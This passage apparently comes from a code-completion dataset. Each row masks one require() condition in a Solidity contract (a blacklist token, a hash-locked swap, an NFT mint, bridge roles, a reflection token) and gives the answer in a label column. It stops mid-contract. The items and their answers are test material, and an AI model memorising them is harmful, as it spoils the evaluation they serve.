comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"account is blacklisted" | pragma solidity ^0.6.0;
contract DracooToken is Context, Ownable, Pausable, ERC20 {
using Address for address;
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 private _cap;
mapping(address => bool) private _isBlackListed;
constructor() public ERC20("Dracoo", "DRA") {
}
function cap() public view returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function burn(uint256 amount) public override returns (bool) {
}
function burnFrom(
address account,
uint256 amount
) public override returns (bool) {
require(<FILL_ME>)
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(
amount,
"ERC20: burn amount exceeds allowance"
);
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
return true;
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function mint(
address account,
uint256 amount
) public onlyOwner returns (bool) {
}
function addBlackList(address account) public onlyOwner {
}
function removeBlackList(address account) public onlyOwner {
}
function isBlackListed(address account) public view returns (bool) {
}
function destroyBlackFunds(
address account,
uint256 amount
) public onlyOwner {
}
// Added to support recovering ERC20 token from other systems
function recoverERC20(
address tokenAddress,
uint256 tokenAmount,
address to
) public onlyOwner {
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - minted tokens must not cause the total supply to go over the cap.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
}
}
| !_isBlackListed[account],"account is blacklisted" | 176,563 | !_isBlackListed[account] |
"account is not blacklisted" | pragma solidity ^0.6.0;
contract DracooToken is Context, Ownable, Pausable, ERC20 {
using Address for address;
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 private _cap;
mapping(address => bool) private _isBlackListed;
constructor() public ERC20("Dracoo", "DRA") {
}
function cap() public view returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function burn(uint256 amount) public override returns (bool) {
}
function burnFrom(
address account,
uint256 amount
) public override returns (bool) {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function mint(
address account,
uint256 amount
) public onlyOwner returns (bool) {
}
function addBlackList(address account) public onlyOwner {
}
function removeBlackList(address account) public onlyOwner {
}
function isBlackListed(address account) public view returns (bool) {
}
function destroyBlackFunds(
address account,
uint256 amount
) public onlyOwner {
require(<FILL_ME>)
_burn(account, amount);
}
// Added to support recovering ERC20 token from other systems
function recoverERC20(
address tokenAddress,
uint256 tokenAmount,
address to
) public onlyOwner {
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - minted tokens must not cause the total supply to go over the cap.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
}
}
| _isBlackListed[account],"account is not blacklisted" | 176,563 | _isBlackListed[account] |
"not enough token balance" | pragma solidity ^0.6.0;
contract DracooToken is Context, Ownable, Pausable, ERC20 {
using Address for address;
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 private _cap;
mapping(address => bool) private _isBlackListed;
constructor() public ERC20("Dracoo", "DRA") {
}
function cap() public view returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function burn(uint256 amount) public override returns (bool) {
}
function burnFrom(
address account,
uint256 amount
) public override returns (bool) {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function mint(
address account,
uint256 amount
) public onlyOwner returns (bool) {
}
function addBlackList(address account) public onlyOwner {
}
function removeBlackList(address account) public onlyOwner {
}
function isBlackListed(address account) public view returns (bool) {
}
function destroyBlackFunds(
address account,
uint256 amount
) public onlyOwner {
}
// Added to support recovering ERC20 token from other systems
function recoverERC20(
address tokenAddress,
uint256 tokenAmount,
address to
) public onlyOwner {
require(<FILL_ME>)
IERC20(tokenAddress).safeTransfer(to, tokenAmount);
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - minted tokens must not cause the total supply to go over the cap.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
}
}
| IERC20(tokenAddress).balanceOf(address(this))>=tokenAmount,"not enough token balance" | 176,563 | IERC20(tokenAddress).balanceOf(address(this))>=tokenAmount |
"Invalid secret." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract AtomSwap {
using SafeERC20 for IERC20;
address constant alice = 0x1b48D96EdE7E8D6fd42756333C24B04E264C8647;
address constant bob = 0x36Af9cE2bAf3342C6c293cD157E698cd393aF493;
uint256 constant lockTime = 8823952;
bytes32 constant hashLock = 0xa9c4c1f488f555526400fedb7b4c6d2790d68c8e85c8eeca2ebc0a80176922e7;
address constant usdtTokenAddress = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
bool public fundsUnlocked;
event FundsUnlocked(bytes32 secret);
event FundsRefunded();
modifier onlyAlice() {
}
modifier onlyBob() {
}
constructor() {
}
function unlockFunds(bytes32 secret) external onlyAlice {
require(<FILL_ME>)
require(!fundsUnlocked, "Funds already unlocked.");
IERC20 usdtToken = IERC20(usdtTokenAddress);
fundsUnlocked = true;
uint256 balance = usdtToken.balanceOf(address(this));
require(balance > 0, "No funds to release.");
usdtToken.safeTransfer(alice, balance);
emit FundsUnlocked(secret);
}
function refundFunds() external onlyBob {
}
function withdrawAnyToken(IERC20 token) external onlyBob {
}
receive() external payable {
}
}
| sha256(abi.encodePacked(secret))==hashLock,"Invalid secret." | 176,580 | sha256(abi.encodePacked(secret))==hashLock |
"Funds already unlocked." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract AtomSwap {
using SafeERC20 for IERC20;
address constant alice = 0x1b48D96EdE7E8D6fd42756333C24B04E264C8647;
address constant bob = 0x36Af9cE2bAf3342C6c293cD157E698cd393aF493;
uint256 constant lockTime = 8823952;
bytes32 constant hashLock = 0xa9c4c1f488f555526400fedb7b4c6d2790d68c8e85c8eeca2ebc0a80176922e7;
address constant usdtTokenAddress = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
bool public fundsUnlocked;
event FundsUnlocked(bytes32 secret);
event FundsRefunded();
modifier onlyAlice() {
}
modifier onlyBob() {
}
constructor() {
}
function unlockFunds(bytes32 secret) external onlyAlice {
require(sha256(abi.encodePacked(secret)) == hashLock, "Invalid secret.");
require(<FILL_ME>)
IERC20 usdtToken = IERC20(usdtTokenAddress);
fundsUnlocked = true;
uint256 balance = usdtToken.balanceOf(address(this));
require(balance > 0, "No funds to release.");
usdtToken.safeTransfer(alice, balance);
emit FundsUnlocked(secret);
}
function refundFunds() external onlyBob {
}
function withdrawAnyToken(IERC20 token) external onlyBob {
}
receive() external payable {
}
}
| !fundsUnlocked,"Funds already unlocked." | 176,580 | !fundsUnlocked |
"Purchase would exceed max tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
interface IERC20 {
function totalSupply() external view returns (uint _totalSupply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface IRouter {
function WETH() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
contract PixelPOMNFT is ERC721, ERC721Enumerable, Ownable {
bool public saleIsActive = false;
bool public isAllowListActive = false;
address public tokenToHold;
string private _baseURIextended;
uint256 public MAX_SUPPLY = 50;
uint256 public MAX_WL_SUPPLY = 50;
uint256 public MAX_TX_MINT = 5;
uint256 public MAX_PER_WALLET = 5;
uint256 public PRICE_PER_TOKEN_PUBLIC_SALE = 0.03 ether;
uint256 public PRICE_PER_TOKEN_PRE_SALE = 0.4 ether;
uint256 public MIN_TOKEN_QTY_TO_HOLD = 250000 ether;
mapping(address => bool) private _allowList;
constructor(address _tokenToHold) ERC721("PixelPOM NFT", "PixelPOMNFT") {
}
function setIsAllowListActive(bool _isAllowListActive) external onlyOwner {
}
function setMinTokenQtyToHold(uint256 _MIN_TOKEN_QTY_TO_HOLD) external onlyOwner {
}
function setAllowList(address[] calldata addresses, bool allowed) external onlyOwner {
}
function isAllowedToMint(address addr) external view returns (bool) {
}
function mintAllowList(uint8 numberOfTokens) external payable {
uint256 ts = totalSupply();
require(isAllowListActive, "Allow list is not active");
require(_allowList[msg.sender], "Address not allowed to purchase");
require(numberOfTokens <= MAX_TX_MINT, "Exceeded max token purchase");
require(<FILL_ME>)
require(ts + numberOfTokens <= MAX_SUPPLY, "Purchase would exceed max tokens");
require(balanceOf(msg.sender) + numberOfTokens <= MAX_PER_WALLET, "Max Per Wallet");
require(PRICE_PER_TOKEN_PRE_SALE * numberOfTokens <= msg.value, "Ether value sent is not correct");
for (uint256 i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, ts + i);
}
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function reserve(uint256 n) public onlyOwner {
}
function setSaleState(bool newState) public onlyOwner {
}
function setPrices(uint256 pPublic, uint256 pPresale) public onlyOwner {
}
function setLimits(uint256 mSupply, uint256 mWLSupply, uint256 mTx) public onlyOwner {
}
function mint(uint numberOfTokens) public payable {
}
function withdraw() public onlyOwner {
}
}
| ts+numberOfTokens<=MAX_WL_SUPPLY,"Purchase would exceed max tokens" | 176,623 | ts+numberOfTokens<=MAX_WL_SUPPLY |
"Max Per Wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
interface IERC20 {
function totalSupply() external view returns (uint _totalSupply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface IRouter {
function WETH() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
contract PixelPOMNFT is ERC721, ERC721Enumerable, Ownable {
bool public saleIsActive = false;
bool public isAllowListActive = false;
address public tokenToHold;
string private _baseURIextended;
uint256 public MAX_SUPPLY = 50;
uint256 public MAX_WL_SUPPLY = 50;
uint256 public MAX_TX_MINT = 5;
uint256 public MAX_PER_WALLET = 5;
uint256 public PRICE_PER_TOKEN_PUBLIC_SALE = 0.03 ether;
uint256 public PRICE_PER_TOKEN_PRE_SALE = 0.4 ether;
uint256 public MIN_TOKEN_QTY_TO_HOLD = 250000 ether;
mapping(address => bool) private _allowList;
constructor(address _tokenToHold) ERC721("PixelPOM NFT", "PixelPOMNFT") {
}
function setIsAllowListActive(bool _isAllowListActive) external onlyOwner {
}
function setMinTokenQtyToHold(uint256 _MIN_TOKEN_QTY_TO_HOLD) external onlyOwner {
}
function setAllowList(address[] calldata addresses, bool allowed) external onlyOwner {
}
function isAllowedToMint(address addr) external view returns (bool) {
}
function mintAllowList(uint8 numberOfTokens) external payable {
uint256 ts = totalSupply();
require(isAllowListActive, "Allow list is not active");
require(_allowList[msg.sender], "Address not allowed to purchase");
require(numberOfTokens <= MAX_TX_MINT, "Exceeded max token purchase");
require(ts + numberOfTokens <= MAX_WL_SUPPLY, "Purchase would exceed max tokens");
require(ts + numberOfTokens <= MAX_SUPPLY, "Purchase would exceed max tokens");
require(<FILL_ME>)
require(PRICE_PER_TOKEN_PRE_SALE * numberOfTokens <= msg.value, "Ether value sent is not correct");
for (uint256 i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, ts + i);
}
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function reserve(uint256 n) public onlyOwner {
}
function setSaleState(bool newState) public onlyOwner {
}
function setPrices(uint256 pPublic, uint256 pPresale) public onlyOwner {
}
function setLimits(uint256 mSupply, uint256 mWLSupply, uint256 mTx) public onlyOwner {
}
function mint(uint numberOfTokens) public payable {
}
function withdraw() public onlyOwner {
}
}
| balanceOf(msg.sender)+numberOfTokens<=MAX_PER_WALLET,"Max Per Wallet" | 176,623 | balanceOf(msg.sender)+numberOfTokens<=MAX_PER_WALLET |
"Ether value sent is not correct" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
interface IERC20 {
function totalSupply() external view returns (uint _totalSupply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface IRouter {
function WETH() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
contract PixelPOMNFT is ERC721, ERC721Enumerable, Ownable {
bool public saleIsActive = false;
bool public isAllowListActive = false;
address public tokenToHold;
string private _baseURIextended;
uint256 public MAX_SUPPLY = 50;
uint256 public MAX_WL_SUPPLY = 50;
uint256 public MAX_TX_MINT = 5;
uint256 public MAX_PER_WALLET = 5;
uint256 public PRICE_PER_TOKEN_PUBLIC_SALE = 0.03 ether;
uint256 public PRICE_PER_TOKEN_PRE_SALE = 0.4 ether;
uint256 public MIN_TOKEN_QTY_TO_HOLD = 250000 ether;
mapping(address => bool) private _allowList;
constructor(address _tokenToHold) ERC721("PixelPOM NFT", "PixelPOMNFT") {
}
function setIsAllowListActive(bool _isAllowListActive) external onlyOwner {
}
function setMinTokenQtyToHold(uint256 _MIN_TOKEN_QTY_TO_HOLD) external onlyOwner {
}
function setAllowList(address[] calldata addresses, bool allowed) external onlyOwner {
}
function isAllowedToMint(address addr) external view returns (bool) {
}
function mintAllowList(uint8 numberOfTokens) external payable {
uint256 ts = totalSupply();
require(isAllowListActive, "Allow list is not active");
require(_allowList[msg.sender], "Address not allowed to purchase");
require(numberOfTokens <= MAX_TX_MINT, "Exceeded max token purchase");
require(ts + numberOfTokens <= MAX_WL_SUPPLY, "Purchase would exceed max tokens");
require(ts + numberOfTokens <= MAX_SUPPLY, "Purchase would exceed max tokens");
require(balanceOf(msg.sender) + numberOfTokens <= MAX_PER_WALLET, "Max Per Wallet");
require(<FILL_ME>)
for (uint256 i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, ts + i);
}
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function reserve(uint256 n) public onlyOwner {
}
function setSaleState(bool newState) public onlyOwner {
}
function setPrices(uint256 pPublic, uint256 pPresale) public onlyOwner {
}
function setLimits(uint256 mSupply, uint256 mWLSupply, uint256 mTx) public onlyOwner {
}
function mint(uint numberOfTokens) public payable {
}
function withdraw() public onlyOwner {
}
}
| PRICE_PER_TOKEN_PRE_SALE*numberOfTokens<=msg.value,"Ether value sent is not correct" | 176,623 | PRICE_PER_TOKEN_PRE_SALE*numberOfTokens<=msg.value |
"Ether value sent is not correct" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
interface IERC20 {
function totalSupply() external view returns (uint _totalSupply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface IRouter {
function WETH() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
contract PixelPOMNFT is ERC721, ERC721Enumerable, Ownable {
bool public saleIsActive = false;
bool public isAllowListActive = false;
address public tokenToHold;
string private _baseURIextended;
uint256 public MAX_SUPPLY = 50;
uint256 public MAX_WL_SUPPLY = 50;
uint256 public MAX_TX_MINT = 5;
uint256 public MAX_PER_WALLET = 5;
uint256 public PRICE_PER_TOKEN_PUBLIC_SALE = 0.03 ether;
uint256 public PRICE_PER_TOKEN_PRE_SALE = 0.4 ether;
uint256 public MIN_TOKEN_QTY_TO_HOLD = 250000 ether;
mapping(address => bool) private _allowList;
constructor(address _tokenToHold) ERC721("PixelPOM NFT", "PixelPOMNFT") {
}
function setIsAllowListActive(bool _isAllowListActive) external onlyOwner {
}
function setMinTokenQtyToHold(uint256 _MIN_TOKEN_QTY_TO_HOLD) external onlyOwner {
}
function setAllowList(address[] calldata addresses, bool allowed) external onlyOwner {
}
function isAllowedToMint(address addr) external view returns (bool) {
}
function mintAllowList(uint8 numberOfTokens) external payable {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function reserve(uint256 n) public onlyOwner {
}
function setSaleState(bool newState) public onlyOwner {
}
function setPrices(uint256 pPublic, uint256 pPresale) public onlyOwner {
}
function setLimits(uint256 mSupply, uint256 mWLSupply, uint256 mTx) public onlyOwner {
}
function mint(uint numberOfTokens) public payable {
uint256 ts = totalSupply();
require(saleIsActive, "Sale must be active to mint tokens");
require(numberOfTokens <= MAX_TX_MINT, "Exceeded max token purchase");
require(ts + numberOfTokens <= MAX_SUPPLY, "Purchase would exceed max tokens");
require(balanceOf(msg.sender) + numberOfTokens <= MAX_PER_WALLET, "Max Per Wallet");
if (IERC20(tokenToHold).balanceOf(msg.sender) <= MIN_TOKEN_QTY_TO_HOLD) {
require(<FILL_ME>)
}
for (uint256 i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, ts + i);
}
}
function withdraw() public onlyOwner {
}
}
| PRICE_PER_TOKEN_PUBLIC_SALE*numberOfTokens<=msg.value,"Ether value sent is not correct" | 176,623 | PRICE_PER_TOKEN_PUBLIC_SALE*numberOfTokens<=msg.value |
"BridgeRoles: Caller is not the owner" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
// Import AccessControl from OpenZeppelin Contracts
import "@openzeppelin/contracts/access/AccessControl.sol";
abstract contract BridgeRoles is AccessControl {
bytes32 public constant SIGNER_ROLE = keccak256("SIGNER_ROLE");
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant REFUND_ROLE = keccak256("REFUND_ROLE");
uint256 public signerCount = 0;
/**
* @dev Grant the admin role to the deployer and the signer role to the signers.
* @param owner The address of the owner.
* @param admin The address of the admin.
* @param refundManager The address of the refund manager.
* @param signers The addresses of the signers.
*/
constructor(address owner, address admin, address refundManager, address[] memory signers) {
}
modifier onlyOwner() {
require(<FILL_ME>)
_;
}
modifier onlyAdmin() {
}
modifier onlyRefundManager() {
}
/**
* @dev Add owner.
* @param account The address of the owner.
*/
function addOwner(address account) external onlyOwner {
}
/**
* @dev Revoke owner.
* @param account The address of the owner.
*/
function revokeOwner(address account) external onlyOwner {
}
/**
* @dev Add admin.
* @param account The address of the admin.
*/
function addAdmin(address account) external onlyOwner {
}
/**
* @dev Revoke admin.
* @param account The address of the admin.
*/
function revokeAdmin(address account) external onlyOwner {
}
/**
* @dev Add refund manager.
* @param account The address of the refund manager.
*/
function addRefundManager(address account) external onlyOwner {
}
/**
* @dev Revoke refund manager.
* @param account The address of the refund manager.
*/
function revokeRefundManager(address account) external onlyOwner {
}
/**
* @dev Add signers.
* @param accounts The addresses of the signers.
*/
function addSigners(address[] calldata accounts) external onlyOwner {
}
/**
* @dev Revoke signers.
* @param accounts The addresses of the signers.
*/
function revokeSigners(address[] calldata accounts) external onlyOwner {
}
/**
* @dev This function is overridden to prevent renouncing roles.
* @inheritdoc AccessControl
*/
function renounceRole(bytes32, address) public pure override {
}
/**
* @dev This function is overridden to prevent granting roles.
* @inheritdoc AccessControl
*/
function grantRole(bytes32, address) public pure override {
}
/**
* @dev This function is overridden to prevent revoking roles.
* @inheritdoc AccessControl
*/
function revokeRole(bytes32, address) public pure override {
}
/**
* @dev Add signer and increment signer count.
* @param account The address of the signer.
*/
function _addSigner(address account) private {
}
/**
* @dev Revoke signer and decrement signer count.
* @param account The address of the signer.
*/
function _revokeSigner(address account) private {
}
function hasSignerRole(address account) public view returns (bool) {
}
}
| hasRole(OWNER_ROLE,msg.sender),"BridgeRoles: Caller is not the owner" | 176,650 | hasRole(OWNER_ROLE,msg.sender) |
"BridgeRoles: Caller is not a refund manager" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
// Import AccessControl from OpenZeppelin Contracts
import "@openzeppelin/contracts/access/AccessControl.sol";
abstract contract BridgeRoles is AccessControl {
bytes32 public constant SIGNER_ROLE = keccak256("SIGNER_ROLE");
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant REFUND_ROLE = keccak256("REFUND_ROLE");
uint256 public signerCount = 0;
/**
* @dev Grant the admin role to the deployer and the signer role to the signers.
* @param owner The address of the owner.
* @param admin The address of the admin.
* @param refundManager The address of the refund manager.
* @param signers The addresses of the signers.
*/
constructor(address owner, address admin, address refundManager, address[] memory signers) {
}
modifier onlyOwner() {
}
modifier onlyAdmin() {
}
modifier onlyRefundManager() {
require(<FILL_ME>)
_;
}
/**
* @dev Add owner.
* @param account The address of the owner.
*/
function addOwner(address account) external onlyOwner {
}
/**
* @dev Revoke owner.
* @param account The address of the owner.
*/
function revokeOwner(address account) external onlyOwner {
}
/**
* @dev Add admin.
* @param account The address of the admin.
*/
function addAdmin(address account) external onlyOwner {
}
/**
* @dev Revoke admin.
* @param account The address of the admin.
*/
function revokeAdmin(address account) external onlyOwner {
}
/**
* @dev Add refund manager.
* @param account The address of the refund manager.
*/
function addRefundManager(address account) external onlyOwner {
}
/**
* @dev Revoke refund manager.
* @param account The address of the refund manager.
*/
function revokeRefundManager(address account) external onlyOwner {
}
/**
* @dev Add signers.
* @param accounts The addresses of the signers.
*/
function addSigners(address[] calldata accounts) external onlyOwner {
}
/**
* @dev Revoke signers.
* @param accounts The addresses of the signers.
*/
function revokeSigners(address[] calldata accounts) external onlyOwner {
}
/**
* @dev This function is overridden to prevent renouncing roles.
* @inheritdoc AccessControl
*/
function renounceRole(bytes32, address) public pure override {
}
/**
* @dev This function is overridden to prevent granting roles.
* @inheritdoc AccessControl
*/
function grantRole(bytes32, address) public pure override {
}
/**
* @dev This function is overridden to prevent revoking roles.
* @inheritdoc AccessControl
*/
function revokeRole(bytes32, address) public pure override {
}
/**
* @dev Add signer and increment signer count.
* @param account The address of the signer.
*/
function _addSigner(address account) private {
}
/**
* @dev Revoke signer and decrement signer count.
* @param account The address of the signer.
*/
function _revokeSigner(address account) private {
}
function hasSignerRole(address account) public view returns (bool) {
}
}
| hasRole(REFUND_ROLE,msg.sender),"BridgeRoles: Caller is not a refund manager" | 176,650 | hasRole(REFUND_ROLE,msg.sender) |
null | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract ENCRYPTOR is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"ENCRYPTOR";
string private constant _symbol = unicode"ENCRYPT";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _feeOnBuy = 0;
uint256 private _taxOnBuy = 0;
//Sell Fee
uint256 private _feeOnSell = 0;
uint256 private _taxOnSell = 0;
uint256 public totalFees;
//Original Fee
uint256 private _redisFee = _feeOnSell;
uint256 private _taxFee = _taxOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
address payable private _marketingWallet = payable(0x457aF9De1fd439B2F5bfbFe37e49a0a8C6913F83);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000 * 10**9;
uint256 public _maxWalletSize = 50000000 * 10**9;
uint256 public _swapTokensAtAmount = 20000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function symbol() public pure returns (string memory) {
}
function name() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function totalSupply() public pure override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function manualswap() external {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
